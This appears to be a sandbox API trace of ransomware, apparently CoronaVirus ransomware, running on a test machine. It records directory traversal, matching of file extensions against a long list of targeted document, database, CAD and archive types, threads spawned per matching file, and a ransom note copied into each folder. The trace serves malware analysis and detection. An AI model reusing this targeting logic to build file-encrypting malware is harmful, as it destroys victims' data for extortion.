	[0082.231] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.231] wcsstr (_Str=".mdb", _SubStr=".rtf") returned 0x0
	[0082.231] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.231] wcsstr (_Str=".mdf", _SubStr=".rtf") returned 0x0
	[0082.231] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.231] wcsstr (_Str=".sdf", _SubStr=".rtf") returned 0x0
	[0082.231] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.231] wcsstr (_Str=".dwg", _SubStr=".rtf") returned 0x0
	[0082.231] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.231] wcsstr (_Str=".dxf", _SubStr=".rtf") returned 0x0
	[0082.231] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.231] wcsstr (_Str=".dgn", _SubStr=".rtf") returned 0x0
	[0082.231] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.231] wcsstr (_Str=".stl", _SubStr=".rtf") returned 0x0
	[0082.231] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.231] wcsstr (_Str=".gho", _SubStr=".rtf") returned 0x0
	[0082.231] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.231] wcsstr (_Str=".v2i", _SubStr=".rtf") returned 0x0
	[0082.231] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.231] wcsstr (_Str=".3ds", _SubStr=".rtf") returned 0x0
	[0082.231] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.231] wcsstr (_Str=".ppt", _SubStr=".rtf") returned 0x0
	[0082.231] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.231] wcsstr (_Str=".acc", _SubStr=".rtf") returned 0x0
	[0082.231] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.231] wcsstr (_Str=".vpd", _SubStr=".rtf") returned 0x0
	[0082.231] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.231] wcsstr (_Str=".odt", _SubStr=".rtf") returned 0x0
	[0082.231] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.231] wcsstr (_Str=".ods", _SubStr=".rtf") returned 0x0
	[0082.231] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.231] wcsstr (_Str=".rar", _SubStr=".rtf") returned 0x0
	[0082.231] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.231] wcsstr (_Str=".zip", _SubStr=".rtf") returned 0x0
	[0082.231] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.231] wcsstr (_Str=".cpp", _SubStr=".rtf") returned 0x0
	[0082.232] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.232] wcsstr (_Str=".pas", _SubStr=".rtf") returned 0x0
	[0082.232] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.232] wcsstr (_Str=".asm", _SubStr=".rtf") returned 0x0
	[0082.232] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.232] wcsstr (_Str=".rtf", _SubStr=".rtf") returned=".rtf"
	[0082.232] malloc (_Size=0x1000) returned 0x2f28548
	[0082.232] _swprintf (in: param_1=0x2f28548, param_2="%s\\%s" | out: param_1="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned 35
	[0082.232] wcsstr (_Str="C:\\588bce7c90097ed212\\3076\\eula.rtf", _SubStr="CoronaVirus") returned 0x0
	[0082.232] wcsstr (_Str="C:\\588bce7c90097ed212\\3076\\eula.rtf", _SubStr="wasse") returned 0x0
	[0082.232] wcsstr (_Str="C:\\588bce7c90097ed212\\3076\\eula.rtf", _SubStr="passw") returned 0x0
	[0082.232] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2f28548, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4b0
	[0082.233] SetThreadPriority (hThread=0x4b0, nPriority=15) returned 1
	[0082.234] FindNextFileW (in: hFindFile=0x6009d0, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0xed90, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0082.234] wcsncmp (_String1="L", _String2=".", _MaxCount=0x1) returned 30
	[0082.234] wcsncmp (_String1="Lo", _String2="..", _MaxCount=0x2) returned 30
	[0082.234] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0082.234] wcsstr (_Str=".bak", _SubStr=".xml") returned 0x0
	[0082.234] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0082.237] wcsstr (_Str=".bat", _SubStr=".xml") returned 0x0
	[0082.237] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0082.237] wcsstr (_Str=".doc", _SubStr=".xml") returned 0x0
	[0082.237] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0082.237] wcsstr (_Str=".jpg", _SubStr=".xml") returned 0x0
	[0082.237] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0082.237] wcsstr (_Str=".jpe", _SubStr=".xml") returned 0x0
	[0082.237] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0082.237] wcsstr (_Str=".txt", _SubStr=".xml") returned 0x0
	[0082.237] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0082.237] wcsstr (_Str=".tex", _SubStr=".xml") returned 0x0
	[0082.237] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0082.237] wcsstr (_Str=".dbf", _SubStr=".xml") returned 0x0
	[0082.237] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0082.237] wcsstr (_Str=".xls", _SubStr=".xml") returned 0x0
	[0082.237] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0082.237] wcsstr (_Str=".cry", _SubStr=".xml") returned 0x0
	[0082.237] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0082.237] wcsstr (_Str=".xml", _SubStr=".xml") returned=".xml"
	[0082.237] malloc (_Size=0x1000) returned 0x2f29550
	[0082.237] _swprintf (in: param_1=0x2f29550, param_2="%s\\%s" | out: param_1="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned 44
	[0082.237] wcsstr (_Str="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml", _SubStr="CoronaVirus") returned 0x0
	[0082.238] wcsstr (_Str="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml", _SubStr="wasse") returned 0x0
	[0082.238] wcsstr (_Str="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml", _SubStr="passw") returned 0x0
	[0082.238] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2f29550, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4cc
	[0082.238] SetThreadPriority (hThread=0x4cc, nPriority=15) returned 1
	[0082.240] FindNextFileW (in: hFindFile=0x6009d0, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0082.240] wcsncmp (_String1="S", _String2=".", _MaxCount=0x1) returned 37
	[0082.240] wcsncmp (_String1="Se", _String2="..", _MaxCount=0x2) returned 37
	[0082.240] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.240] wcsstr (_Str=".bak", _SubStr=".dll") returned 0x0
	[0082.240] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.240] wcsstr (_Str=".bat", _SubStr=".dll") returned 0x0
	[0082.240] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.240] wcsstr (_Str=".doc", _SubStr=".dll") returned 0x0
	[0082.240] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.240] wcsstr (_Str=".jpg", _SubStr=".dll") returned 0x0
	[0082.240] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.246] wcsstr (_Str=".jpe", _SubStr=".dll") returned 0x0
	[0082.246] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.246] wcsstr (_Str=".txt", _SubStr=".dll") returned 0x0
	[0082.246] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.246] wcsstr (_Str=".tex", _SubStr=".dll") returned 0x0
	[0082.246] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.252] wcsstr (_Str=".dbf", _SubStr=".dll") returned 0x0
	[0082.253] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.253] wcsstr (_Str=".xls", _SubStr=".dll") returned 0x0
	[0082.253] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.253] wcsstr (_Str=".cry", _SubStr=".dll") returned 0x0
	[0082.253] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.253] wcsstr (_Str=".xml", _SubStr=".dll") returned 0x0
	[0082.253] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.253] wcsstr (_Str=".vsd", _SubStr=".dll") returned 0x0
	[0082.253] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.253] wcsstr (_Str=".pdf", _SubStr=".dll") returned 0x0
	[0082.253] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.253] wcsstr (_Str=".csv", _SubStr=".dll") returned 0x0
	[0082.253] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.254] wcsstr (_Str=".bmp", _SubStr=".dll") returned 0x0
	[0082.254] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.254] wcsstr (_Str=".tif", _SubStr=".dll") returned 0x0
	[0082.254] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.254] wcsstr (_Str=".1cd", _SubStr=".dll") returned 0x0
	[0082.254] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.255] wcsstr (_Str=".tax", _SubStr=".dll") returned 0x0
	[0082.255] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.255] wcsstr (_Str=".gif", _SubStr=".dll") returned 0x0
	[0082.255] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.255] wcsstr (_Str=".gbr", _SubStr=".dll") returned 0x0
	[0082.255] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.256] wcsstr (_Str=".png", _SubStr=".dll") returned 0x0
	[0082.256] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.256] wcsstr (_Str=".mdb", _SubStr=".dll") returned 0x0
	[0082.256] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.256] wcsstr (_Str=".mdf", _SubStr=".dll") returned 0x0
	[0082.256] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.256] wcsstr (_Str=".sdf", _SubStr=".dll") returned 0x0
	[0082.256] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.256] wcsstr (_Str=".dwg", _SubStr=".dll") returned 0x0
	[0082.256] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.256] wcsstr (_Str=".dxf", _SubStr=".dll") returned 0x0
	[0082.256] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.256] wcsstr (_Str=".dgn", _SubStr=".dll") returned 0x0
	[0082.256] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.256] wcsstr (_Str=".stl", _SubStr=".dll") returned 0x0
	[0082.256] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.256] wcsstr (_Str=".gho", _SubStr=".dll") returned 0x0
	[0082.256] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.256] wcsstr (_Str=".v2i", _SubStr=".dll") returned 0x0
	[0082.256] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.256] wcsstr (_Str=".3ds", _SubStr=".dll") returned 0x0
	[0082.256] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.256] wcsstr (_Str=".ppt", _SubStr=".dll") returned 0x0
	[0082.256] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.256] wcsstr (_Str=".acc", _SubStr=".dll") returned 0x0
	[0082.256] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.256] wcsstr (_Str=".vpd", _SubStr=".dll") returned 0x0
	[0082.256] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.256] wcsstr (_Str=".odt", _SubStr=".dll") returned 0x0
	[0082.256] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.256] wcsstr (_Str=".ods", _SubStr=".dll") returned 0x0
	[0082.256] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.256] wcsstr (_Str=".rar", _SubStr=".dll") returned 0x0
	[0082.256] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.256] wcsstr (_Str=".zip", _SubStr=".dll") returned 0x0
	[0082.256] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.256] wcsstr (_Str=".cpp", _SubStr=".dll") returned 0x0
	[0082.257] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.257] wcsstr (_Str=".pas", _SubStr=".dll") returned 0x0
	[0082.257] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.257] wcsstr (_Str=".asm", _SubStr=".dll") returned 0x0
	[0082.257] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.257] wcsstr (_Str=".rtf", _SubStr=".dll") returned 0x0
	[0082.257] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.257] wcsstr (_Str=".lic", _SubStr=".dll") returned 0x0
	[0082.257] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.257] wcsstr (_Str=".avi", _SubStr=".dll") returned 0x0
	[0082.257] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.257] wcsstr (_Str=".mov", _SubStr=".dll") returned 0x0
	[0082.257] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.257] wcsstr (_Str=".mp3", _SubStr=".dll") returned 0x0
	[0082.257] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.257] wcsstr (_Str=".vbs", _SubStr=".dll") returned 0x0
	[0082.257] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.257] wcsstr (_Str=".v8i", _SubStr=".dll") returned 0x0
	[0082.257] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.257] wcsstr (_Str=".erf", _SubStr=".dll") returned 0x0
	[0082.257] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.257] wcsstr (_Str=".epf", _SubStr=".dll") returned 0x0
	[0082.257] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.257] wcsstr (_Str=".mxl", _SubStr=".dll") returned 0x0
	[0082.257] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.257] wcsstr (_Str=".cfu", _SubStr=".dll") returned 0x0
	[0082.257] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.257] wcsstr (_Str=".mht", _SubStr=".dll") returned 0x0
	[0082.257] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.257] wcsstr (_Str=".bak", _SubStr=".dll") returned 0x0
	[0082.257] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.257] wcsstr (_Str=".old", _SubStr=".dll") returned 0x0
	[0082.257] FindNextFileW (in: hFindFile=0x6009d0, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0082.257] FindClose (in: hFindFile=0x6009d0 | out: hFindFile=0x6009d0) returned 1
	[0082.258] FindNextFileW (in: hFindFile=0x600710, lpFindFileData=0x3173ab8 | out: lpFindFileData=0x3173ab8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="3082", cAlternateFileName="")) returned 1
	[0082.258] wcsncmp (_String1="3", _String2=".", _MaxCount=0x1) returned 5
	[0082.258] wcsncmp (_String1="30", _String2="..", _MaxCount=0x2) returned 5
	[0082.258] _swprintf (in: param_1=0x3173d08, param_2="%s\\%s" | out: param_1="C:\\588bce7c90097ed212\\3082") returned 26
	[0082.258] wcsncmp (_String1="C:\\588bce", _String2="C:\\WINDOW", _MaxCount=0x9) returned -34
	[0082.258] wcsstr (_Str="C:\\588bce7c90097ed212\\3082", _SubStr="Microsoft\\Windows") returned 0x0
	[0082.258] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\588bce7c90097ed212\\3082\\CoronaVirus.txt" (normalized: "c:\\588bce7c90097ed212\\3082\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0082.281] _alloca_probe () returned 0x4036d0
	[0082.282] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\3082", nBufferLength=0x1000, lpBuffer=0x316da90, lpFilePart=0x316583c | out: lpBuffer="C:\\588bce7c90097ed212\\3082", lpFilePart=0x316583c*="3082") returned 0x1a
	[0082.282] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\3082\\*.*", lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf38014a5, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xea66f5a3, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6009d0
	[0082.282] wcsncmp (_String1=".", _String2=".", _MaxCount=0x1) returned 0
	[0082.282] FindNextFileW (in: hFindFile=0x6009d0, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf38014a5, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xea66f5a3, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.282] wcsncmp (_String1=".", _String2=".", _MaxCount=0x1) returned 0
	[0082.282] FindNextFileW (in: hFindFile=0x6009d0, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea623162, ftCreationTime.dwHighDateTime=0x1d5f87c, ftLastAccessTime.dwLowDateTime=0xea623162, ftLastAccessTime.dwHighDateTime=0x1d5f87c, ftLastWriteTime.dwLowDateTime=0xe1b65524, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x384, dwReserved0=0x0, dwReserved1=0x0, cFileName="CoronaVirus.txt", cAlternateFileName="CORONA~1.TXT")) returned 1
	[0082.282] wcsncmp (_String1="C", _String2=".", _MaxCount=0x1) returned 21
	[0082.282] wcsncmp (_String1="Co", _String2="..", _MaxCount=0x2) returned 21
	[0082.282] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0082.282] wcsstr (_Str=".bak", _SubStr=".txt") returned 0x0
	[0082.282] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0082.282] wcsstr (_Str=".bat", _SubStr=".txt") returned 0x0
	[0082.282] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0082.282] wcsstr (_Str=".doc", _SubStr=".txt") returned 0x0
	[0082.282] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0082.282] wcsstr (_Str=".jpg", _SubStr=".txt") returned 0x0
	[0082.282] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0082.282] wcsstr (_Str=".jpe", _SubStr=".txt") returned 0x0
	[0082.282] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0082.282] wcsstr (_Str=".txt", _SubStr=".txt") returned=".txt"
	[0082.282] malloc (_Size=0x1000) returned 0x2f13060
	[0082.282] _swprintf (in: param_1=0x2f13060, param_2="%s\\%s" | out: param_1="C:\\588bce7c90097ed212\\3082\\CoronaVirus.txt") returned 42
	[0082.282] wcsstr (_Str="C:\\588bce7c90097ed212\\3082\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0082.282] FindNextFileW (in: hFindFile=0x6009d0, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xbfd, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0082.282] wcsncmp (_String1="e", _String2=".", _MaxCount=0x1) returned 55
	[0082.282] wcsncmp (_String1="eu", _String2="..", _MaxCount=0x2) returned 55
	[0082.283] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.283] wcsstr (_Str=".bak", _SubStr=".rtf") returned 0x0
	[0082.283] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.283] wcsstr (_Str=".bat", _SubStr=".rtf") returned 0x0
	[0082.283] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.283] wcsstr (_Str=".doc", _SubStr=".rtf") returned 0x0
	[0082.283] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.283] wcsstr (_Str=".jpg", _SubStr=".rtf") returned 0x0
	[0082.283] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.283] wcsstr (_Str=".jpe", _SubStr=".rtf") returned 0x0
	[0082.283] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.283] wcsstr (_Str=".txt", _SubStr=".rtf") returned 0x0
	[0082.283] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.283] wcsstr (_Str=".tex", _SubStr=".rtf") returned 0x0
	[0082.283] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.283] wcsstr (_Str=".dbf", _SubStr=".rtf") returned 0x0
	[0082.283] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.283] wcsstr (_Str=".xls", _SubStr=".rtf") returned 0x0
	[0082.283] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.283] wcsstr (_Str=".cry", _SubStr=".rtf") returned 0x0
	[0082.283] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.283] wcsstr (_Str=".xml", _SubStr=".rtf") returned 0x0
	[0082.283] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.283] wcsstr (_Str=".vsd", _SubStr=".rtf") returned 0x0
	[0082.283] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.283] wcsstr (_Str=".pdf", _SubStr=".rtf") returned 0x0
	[0082.283] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.283] wcsstr (_Str=".csv", _SubStr=".rtf") returned 0x0
	[0082.283] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.283] wcsstr (_Str=".bmp", _SubStr=".rtf") returned 0x0
	[0082.283] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.283] wcsstr (_Str=".tif", _SubStr=".rtf") returned 0x0
	[0082.283] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.283] wcsstr (_Str=".1cd", _SubStr=".rtf") returned 0x0
	[0082.283] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.283] wcsstr (_Str=".tax", _SubStr=".rtf") returned 0x0
	[0082.283] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.284] wcsstr (_Str=".gif", _SubStr=".rtf") returned 0x0
	[0082.284] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.284] wcsstr (_Str=".gbr", _SubStr=".rtf") returned 0x0
	[0082.284] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.284] wcsstr (_Str=".png", _SubStr=".rtf") returned 0x0
	[0082.284] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.284] wcsstr (_Str=".mdb", _SubStr=".rtf") returned 0x0
	[0082.284] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.284] wcsstr (_Str=".mdf", _SubStr=".rtf") returned 0x0
	[0082.284] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.284] wcsstr (_Str=".sdf", _SubStr=".rtf") returned 0x0
	[0082.284] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.284] wcsstr (_Str=".dwg", _SubStr=".rtf") returned 0x0
	[0082.284] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.284] wcsstr (_Str=".dxf", _SubStr=".rtf") returned 0x0
	[0082.284] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.284] wcsstr (_Str=".dgn", _SubStr=".rtf") returned 0x0
	[0082.284] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.284] wcsstr (_Str=".stl", _SubStr=".rtf") returned 0x0
	[0082.284] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.284] wcsstr (_Str=".gho", _SubStr=".rtf") returned 0x0
	[0082.284] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.284] wcsstr (_Str=".v2i", _SubStr=".rtf") returned 0x0
	[0082.284] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
